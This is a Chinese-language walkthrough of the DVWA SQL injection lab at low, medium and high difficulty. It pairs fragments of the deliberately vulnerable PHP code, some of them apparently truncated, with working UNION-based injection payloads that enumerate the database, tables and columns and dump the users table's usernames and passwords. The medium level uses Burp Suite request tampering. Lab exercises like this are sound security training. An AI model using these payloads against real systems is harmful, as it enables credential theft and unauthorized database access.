SQL注入低级(low)
低级核心代码
' . mysql_error() . '
' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
$html .= "ID: {$id}"; // Increase loop count $i++; } mysql_close(); } ?>
First name: {$first}
Surname: {$last}
低级SQL注入
id=1 and 1=2' 判断闭合方式 '
构造闭合,找出显示行数
1' union all select 1,2 #
判断数据库名称
1' union all select 1,database() #
判断数据库的表名
1' union all select 1,group_concat(table_name) from information_schema.tables where table_schema = 'dvwa' #
判断数据库列名
1' union all select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' #
爆数据
1' union all select group_concat(user),group_concat(password) from users #
SQL注入中级(medium)
服务器核心代码
' . mysql_error() . '
' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Display values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
$html .= "ID: {$id}"; // Increase loop count $i++; } //mysql_close(); } ?>
First name: {$first}
Surname: {$last}
中级为选项型,SQL注入,不能输入,需借用工具Burpsuite
将浏览器的代理改为代理
修改id=1&Submit=Submit,进行SQL注入
判断显示行数
id=1 order by 2 &Submit=Submit
判断数据库名称
id=1 union select 1,2 &Submit=Submit
注:数据库表名、列名和数据以上,与低级相同。
SQL注入高级(high)
服务器核心代码
Something went wrong.
' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
$html .= "ID: {$id}"; // Increase loop count $i++; } mysql_close(); } ?>
First name: {$first}
Surname: {$last}
判断行数,行数为2
判断数据库名称
注:数据库表名、列名和数据,均可以使用低级数据库语言。